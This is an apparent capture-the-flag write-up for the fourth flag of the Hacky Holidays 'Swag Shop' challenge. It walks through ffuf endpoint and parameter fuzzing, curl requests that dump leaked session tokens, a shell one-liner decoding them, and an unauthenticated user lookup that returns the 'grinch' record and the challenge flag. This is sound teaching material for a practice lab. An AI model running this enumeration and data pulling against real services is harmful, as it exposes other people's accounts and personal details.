Get your Grinch Merch! Try and find a way to pull the Grinch’s personal details from the online shop.

The Swag Shop

Flag4 1

The Swag-Shop was the second app and 4th Flag. Lets start with analyzing the applications logic to find its’ weak points.

On the Landing-Page are basically Items to purchase. A click on the purchase button will prompt for a login window.

Flag4 2

Remember: The best tool is our brain! Start bruteforcing a Login WITHOUT having a single idea about a potential username does not make any sense! So don’t :)

Let’s have a look at the source code:

<body class="">
<div class="container" style="margin-top:20px">
    <div class="text-center"><img src="/assets/images/grinch-networks.png" alt="Grinch Networks"></div>
    <h1 class="text-center" style="margin-bottom:30px">Grinch Swag Shop</h1>
    <div class="row">
        <div class="col-md-8 col-md-offset-2">
            <div class="row product-holder"><div class="col-md-4 product-box"><div><img class="img-responsive" src="/assets/images/product_image_coming_soon.jpg"></div><div class="text-center product-name">I Hate Xmas Hoodie</div><div class="text-center product-cost">$39.99</div><div class="text-center"><input type="button" data-product-id="1" class="btn btn-success purchase" value="Purchase"></div></div><div class="col-md-4 product-box"><div><img class="img-responsive" src="/assets/images/product_image_coming_soon.jpg"></div><div class="text-center product-name">Xmas Sucks Cap</div><div class="text-center product-cost">$19.99</div><div class="text-center"><input type="button" data-product-id="2" class="btn btn-success purchase" value="Purchase"></div></div><div class="col-md-4 product-box"><div><img class="img-responsive" src="/assets/images/product_image_coming_soon.jpg"></div><div class="text-center product-name">Snow Ball Launcher</div><div class="text-center product-cost">$395.00</div><div class="text-center"><input type="button" data-product-id="3" class="btn btn-success purchase" value="Purchase"></div></div></div>
        </div>
    </div>
</div>
<div class="modal fade" id="login_modal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" style="display: none;">
    <div class="modal-dialog" role="document">
        <div class="modal-content">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
                <h4 class="modal-title" id="myModalLabel">Login To Your Account</h4>
            </div>
            <div class="modal-body">
                <div><label>Username</label></div>
                <div><input class="form-control" name="username"></div>
                <div style="margin-top:7px"><label>Password</label></div>
                <div><input class="form-control" type="password" name="password"></div>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
                <button type="button" class="btn btn-primary loginbtn">Login</button>
            </div>
        </div>
    </div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
<script>
    $.getJSON("/swag-shop/api/stock",function(o){$.each(o.products,function(o,t){$(".product-holder").append('<div class="col-md-4 product-box"><div><img class="img-responsive" src="/assets/images/product_image_coming_soon.jpg"></div><div class="text-center product-name">'+t.name+'</div><div class="text-center product-cost">&dollar;'+t.cost+'</div><div class="text-center"><input type="button" data-product-id="'+t.id+'" class="btn btn-success purchase" value="Purchase"></div></div>')}),$("input.purchase").click(function(){$.post("/swag-shop/api/purchase",{id:$(this).attr("data-product-id")},function(o){window.location="/swag-shop/checkout/"+o.checkoutURL}).fail(function(){$("#login_modal").modal("show")})})}),$(".loginbtn").click(function(){$.post("/swag-shop/api/login",{username:$('input[name="username"]').val(),password:$('input[name="password"]').val()},function(o){document.cookie("token="+o.token),window.location="/swag-shop"}).fail(function(){alert("Login Failed")})});
</script>

</body>

Here it comes again: JavaScript. Quite familiar isn’t it. Another getJSON from an http endpoint /swag-shop/api/stock. There is an SwagShop-API. The stock endpoint returns all items in stock:

GET https://hackyholidays.h1ctf.com/swag-shop/api/stock

{"products":[{"id":1,"name":"I Hate Xmas Hoodie","cost":"39.99"},{"id":2,"name":"Xmas Sucks Cap","cost":"19.99"},{"id":3,"name":"Snow Ball Launcher","cost":"395.00"}]}

A simple GET request to api/login returned 404. But lets start to get some more information about the API. An API is always worth to check for more endpoints. So let’s do that.

What do we know? There are at least three endpoints:

https://hackyholidays.h1ctf.com/swag-shop/api/login https://hackyholidays.h1ctf.com/swag-shop/api/purchase https://hackyholidays.h1ctf.com/swag-shop/api/stock

I am using a tool called FFUF with a special wordlist to search for other endpoints. Let me explain the ffuf command:

./ffuf -c -w ../paramlist2.txt -mc 200,204,400,401 -u https://hackyholidays.h1ctf.com/swag-shop/api/FUZZ

sessions                [Status: 200, Size: 2194, Words: 1, Lines: 1]
stock                   [Status: 200, Size: 167, Words: 8, Lines: 1]
user                    [Status: 400, Size: 35, Words: 3, Lines: 1]
:: Progress: [10253/10253] :: Job [1/1] :: 341 req/sec :: Duration: [0:00:31] :: Errors: 1 ::

Great. FFUF helped us to find three more api endpoints. Now you can see, why the -mc flag is important. The users endpoint returned HTTP Status Code 400 aka “Bad Request”.

Excursion

The HTTP Status-Code are like the basic understanding of web development and its infrastructure: The bred and butter of every web pen tester / bug bounty hunter. The HTTP-Status codes are a way the Web-Server can talk to the browser and to us.

A list of HTTP Status-Codes can be found here

So lets start exploring the API-Endpoints.

tippexs@kali:~$ curl -s https://hackyholidays.h1ctf.com/swag-shop/api/sessions | jq
{
  "sessions": [
    "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJZelZtTlRKaVlUTmtPV0ZsWVRZMllqQTFaVFkxTkRCbE5tSTBZbVpqTW1ObVpHWXpNemcxTVdKa1pEY3lNelkwWlRGbFlqZG1ORFkzTkRrek56SXdNR05pWmpOaE1qUTNZMlJtWTJFMk4yRm1NemRqTTJJMFpXTmxaVFZrTTJWa056VTNNVFV3WWpka1l6a3lOV0k0WTJJM1pXWmlOamsyTjJOak9UazBNalU9In0=",
    "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJaak0yTXpOak0ySmtaR1V5TXpWbU1tWTJaamN4TmpkbE5ETm1aalF3WlRsbVkyUmhOall4TldNNVkyWTFaalkyT0RVM05qa3hNVFEyTnprMFptSXhPV1poTjJaaFpqZzBZMkU1TnprMU5UUTJNek16WlRjME1XSmxNelZoWkRBME1EVXdZbVEzTkRsbVpURTRNbU5rTWpNeE16VTBNV1JsTVRKaE5XWXpPR1E9In0=",
    "eyJ1c2VyIjoiQzdEQ0NFLTBFMERBQi1CMjAyMjYtRkM5MkVBLTFCOTA0MyIsImNvb2tpZSI6Ik5EVTBPREk1TW1ZM1pEWTJNalJpTVdFME1tWTNOR1F4TVdFME9ETXhNemcyTUdFMVlXUmhNVGMwWWpoa1lXRTNNelUxTWpaak5EZzVNRFEyWTJKaFlqWTNZVEZoWTJRM1lqQm1ZVGs0TjJRNVpXUTVNV1E1T1dGa05XRTJNakl5Wm1aak16WmpNRFEzT0RrNVptSTRaalpqT1dVME9HSmhNakl3Tm1Wa01UWT0ifQ==",
    "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRFJtWVRCaE4yRmlOalk1TUdGbE9XRm1ZVEU0WmpFMk4ySmpabVl6WldKa09UUmxPR1l3TWpJMU9HSXlOak0xT0RVME5qYzJZVGRsWlRNNE16RmlNMkkxTVRVek16VmlNakZoWXpWa01UYzRPREUzT0dNNFkySmxPVGs0TWpKbE1ESTJZalF6WkRReE1HTm1OVGcxT0RReFpqQm1PREJtWldReFptRTFZbUU9In0=",
    "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNMlEyTURJek5EZzVNV0UwTjJNM05ESm1OVEl5TkdNM05XVXhZV1EwTkRSbFpXSTNNVGc0TWpJM1pHUmtNVGxsWlRNMlpEa3hNR1ZsTldFd05tWmlaV0ZrWmpaaE9EZzRNRFkzT0RsbVpHUmhZVE0xWTJJeU1HVmhNakExTmpkaU5ERmpZekJoTVdRNE5EVTFNRGM0TkRFMVltSTVZVEpqT0RCa01qRm1OMlk9In0=",
    "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNV1kzTVRBek1UQmpaR1k0WkdNd1lqSTNaamsyWm1Zek1XSmxNV0V5WlRnMVl6RTBNbVpsWmpNd1ltSmpabVE0WlRVMFkyWXhZelZtWlRNMU4yUTFPRFkyWWpGa1ptRmlObUk1WmpJMU0yTTJNRFZpTmpBMFpqRmpORFZrTlRRNE4yVTJPRGRpTlRKbE1tRmlNVEV4T0RBNE1qVTJNemt4WldOaE5qRmtObVU9In0=",
    "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJNRE00WXpoaU4yUTNNbVkwWWpVMk0yRmtabUZsTkRNd01USTVNakV5T0RobE5HRmtNbUk1T1RjeU1EbGtOVEpoWlRjNFlqVXhaakl6TjJRNE5tUmpOamcyTm1VMU16VmxPV0V6T1RFNU5XWXlPVGN3Tm1KbFpESXlORGd5TVRBNVpEQTFPVGxpTVRZeU5EY3pOakZrWm1VME1UZ3hZV0V3TURVMVpXTmhOelE9In0=",
    "eyJ1c2VyIjpudWxsLCJjb29raWUiOiJPR0kzTjJFeE9HVmpOek0xWldWbU5UazJaak5rWmpJd00yWmpZemRqTVdOaE9EZzRORGhoT0RSbU5qSTBORFJqWlRkbFpUZzBaVFV3TnpabVpEZGtZVEpqTjJJeU9EWTVZamN4Wm1JNVpHUmlZVGd6WmpoaVpEVmlPV1pqTVRWbFpEZ3pNVEJrTnpObU9ESTBPVE01WkRNM1kySmpabVk0TnpFeU9HRTNOVE09In0="
  ]
}

The Session-Endpoint showed as an old friend. Base64 encoded Stings starting with ey. ;)

To get the information we need to decode. Using tools is great but what about doing it right from the command line to decode the values?

curl -s https://hackyholidays.h1ctf.com/swag-shop/api/sessions | jq -c '.sessions[]' | while 
read session; do echo -n $session |xargs |  base64 -d | jq; done

As you may have noticed I love the shell because its a super powerful tool to work with:.

{                                                                                                                                                                                            
  "user": null,                                                                                                                                                                              
  "cookie": "YzVmNTJiYTNkOWFlYTY2YjA1ZTY1NDBlNmI0YmZjMmNmZGYzMzg1MWJkZDcyMzY0ZTFlYjdmNDY3NDkzNzIwMGNiZjNhMjQ3Y2RmY2E2N2FmMzdjM2I0ZWNlZTVkM2VkNzU3MTUwYjdkYzkyNWI4Y2I3ZWZiNjk2N2NjOTk0MjU="   
}                                                                                                                                                                                            
{                                                                                                                                                                                            
  "user": null,                                                                                                                                                                              
  "cookie": "ZjM2MzNjM2JkZGUyMzVmMmY2ZjcxNjdlNDNmZjQwZTlmY2RhNjYxNWM5Y2Y1ZjY2ODU3NjkxMTQ2Nzk0ZmIxOWZhN2ZhZjg0Y2E5Nzk1NTQ2MzMzZTc0MWJlMzVhZDA0MDUwYmQ3NDlmZTE4MmNkMjMxMzU0MWRlMTJhNWYzOGQ="   
}                                                                                                                                                                                            
{                                                                                                                                                                                            
  "user": "C7DCCE-0E0DAB-B20226-FC92EA-1B9043",                                                                                                                                              
  "cookie": "NDU0ODI5MmY3ZDY2MjRiMWE0MmY3NGQxMWE0ODMxMzg2MGE1YWRhMTc0YjhkYWE3MzU1MjZjNDg5MDQ2Y2JhYjY3YTFhY2Q3YjBmYTk4N2Q5ZWQ5MWQ5OWFkNWE2MjIyZmZjMzZjMDQ3ODk5ZmI4ZjZjOWU0OGJhMjIwNmVkMTY="   
}                                                                                                                                                                                            
{                                                                                                                                                                                            
  "user": null,                                                                                                                                                                              
  "cookie": "MDRmYTBhN2FiNjY5MGFlOWFmYTE4ZjE2N2JjZmYzZWJkOTRlOGYwMjI1OGIyNjM1ODU0Njc2YTdlZTM4MzFiM2I1MTUzMzViMjFhYzVkMTc4ODE3OGM4Y2JlOTk4MjJlMDI2YjQzZDQxMGNmNTg1ODQxZjBmODBmZWQxZmE1YmE="   
}                                                                                                                                                                                            
{                                                                                                                                                                                            
  "user": null,                                                                                                                                                                              
  "cookie": "M2Q2MDIzNDg5MWE0N2M3NDJmNTIyNGM3NWUxYWQ0NDRlZWI3MTg4MjI3ZGRkMTllZTM2ZDkxMGVlNWEwNmZiZWFkZjZhODg4MDY3ODlmZGRhYTM1Y2IyMGVhMjA1NjdiNDFjYzBhMWQ4NDU1MDc4NDE1YmI5YTJjODBkMjFmN2Y="   
}                                                                                                                                                                                            
{                                                                                                                                                                                            
  "user": null,                                                                                                                                                                              
  "cookie": "MWY3MTAzMTBjZGY4ZGMwYjI3Zjk2ZmYzMWJlMWEyZTg1YzE0MmZlZjMwYmJjZmQ4ZTU0Y2YxYzVmZTM1N2Q1ODY2YjFkZmFiNmI5ZjI1M2M2MDViNjA0ZjFjNDVkNTQ4N2U2ODdiNTJlMmFiMTExODA4MjU2MzkxZWNhNjFkNmU="   
}                                                                                                                                                                                            
{                                                                                                                                                                                            
  "user": null,                                                                                                                                                                              
  "cookie": "MDM4YzhiN2Q3MmY0YjU2M2FkZmFlNDMwMTI5MjEyODhlNGFkMmI5OTcyMDlkNTJhZTc4YjUxZjIzN2Q4NmRjNjg2NmU1MzVlOWEzOTE5NWYyOTcwNmJlZDIyNDgyMTA5ZDA1OTliMTYyNDczNjFkZmU0MTgxYWEwMDU1ZWNhNzQ="   
}                                                                                                                                                                                            
{                                                                                                                                                                                            
  "user": null,                                                                                                                                                                              
  "cookie": "OGI3N2ExOGVjNzM1ZWVmNTk2ZjNkZjIwM2ZjYzdjMWNhODg4NDhhODRmNjI0NDRjZTdlZTg0ZTUwNzZmZDdkYTJjN2IyODY5YjcxZmI5ZGRiYTgzZjhiZDViOWZjMTVlZDgzMTBkNzNmODI0OTM5ZDM3Y2JjZmY4NzEyOGE3NTM="   
}

There is just one session with an actual value for user. Lets take a look on this one. Take a very close look on the format of the user value. Any ideas what we could do with it? The api/user endpoint told us HTTP 400 because of missing parameter. So think smart. The users ID could be that parameter. But api/user/C7DCCE-0E0DAB-B20226-FC92EA-1B9043 as well as api/user?id=C7DCCE-0E0DAB-B20226-FC92EA-1B9043 result in HTTP 404 Not Found. We have two options now. We could use FFUF on more time to try thousands of parameter or we can think one more time. Does the format of the User-ID reminds you of something?? Maybe: https://www.ietf.org/rfc/rfc4122.txt UUID?? So before sending these 10K request to the endpoint lets give the uuid a shoot:

curl -v https://hackyholidays.h1ctf.com/swag-shop/api/user?uuid=C7DCCE-0E0DAB-B20226-FC92EA-1B9043

Bingo: HTTP 200

tippexs@kali:~/tools$ curl -s https://hackyholidays.h1ctf.com/swag-shop/api/user?uuid=C7DCCE-0E0DAB-B20226-FC92EA-1B9043 | jq
{
  "uuid": "C7DCCE-0E0DAB-B20226-FC92EA-1B9043",
  "username": "grinch",
  "address": {
    "line_1": "The Grinch",
    "line_2": "The Cave",
    "line_3": "Mount Crumpit",
    "line_4": "Whoville"
  },
  "flag": "flag{972e7072-b1b6-4bf7-b825-a912d3fd38d6}"
}

Just for overall completeness this is the FFUF command finding the right param based on the parameter list:

tippexs@kali:~/tools/ffuf$ ./ffuf -c -w ../paramlist2.txt -mc 200 -u https://hackyholidays.h1ctf.com/swag-shop/api/user?FUZZ=C7DCCE-0E0DAB-B20226-FC92EA-1B9043

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.2.0-git
________________________________________________

 :: Method           : GET
 :: URL              : https://hackyholidays.h1ctf.com/swag-shop/api/user?FUZZ=C7DCCE-0E0DAB-B20226-FC92EA-1B9043
 :: Wordlist         : FUZZ: ../paramlist2.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

uuid                    [Status: 200, Size: 216, Words: 4, Lines: 1]
:: Progress: [10253/10253] :: Job [1/1] :: 342 req/sec :: Duration: [0:00:30] :: Errors: 0 ::

30 seconds and more then 10250 request… Before being that noisy thing smart and try things manually. Sometimes is faster and much mor efficient.

Great. Flag 4! Good job! Let’s catch up on Flag 5